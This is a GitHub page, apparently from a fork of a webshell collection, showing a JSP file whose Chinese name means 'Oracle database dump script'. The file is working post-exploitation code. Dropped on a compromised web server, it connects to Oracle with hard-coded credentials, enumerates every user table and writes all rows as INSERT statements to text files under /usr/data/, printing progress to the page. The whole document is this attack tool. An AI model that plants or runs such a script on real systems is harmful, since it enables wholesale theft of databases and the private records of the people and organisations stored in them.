forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathoracle脱裤脚本.jsp
71 lines (63 loc) · 2.25 KB
/
oracle脱裤脚本.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String backupDir = "/usr/data/";
String ex=".txt";
String driver = "oracle.jdbc.driver.OracleDriver";
String url = "jdbc:oracle:thin:user/pass@localhost:1521:orcl";
String username = "user";
String password = "pass";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
// Get tables
String sql_tables="select TABLE_NAME from user_tab_comments";
PreparedStatement ps = conn.prepareStatement(sql_tables);
ResultSet rs = ps.executeQuery();
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(1));
}
rs.close();
for(int i=0;i<tables.size();i++){
String table=tables.get(i);
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
String sql="select * from "+table;
PreparedStatement p = conn.prepareStatement(sql);
ResultSet r = p.executeQuery();
ResultSetMetaData rsmeta=r.getMetaData();
while(r.next()){
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
bw.append("'");
if (r.getString(col) == null)
bw.append("");
else
bw.append(r.getString(col));
if (col == rsmeta.getColumnCount())
bw.append("'");
else
bw.append("', ");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
r.close();
}
rs.close();
out.println("backup is ok");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>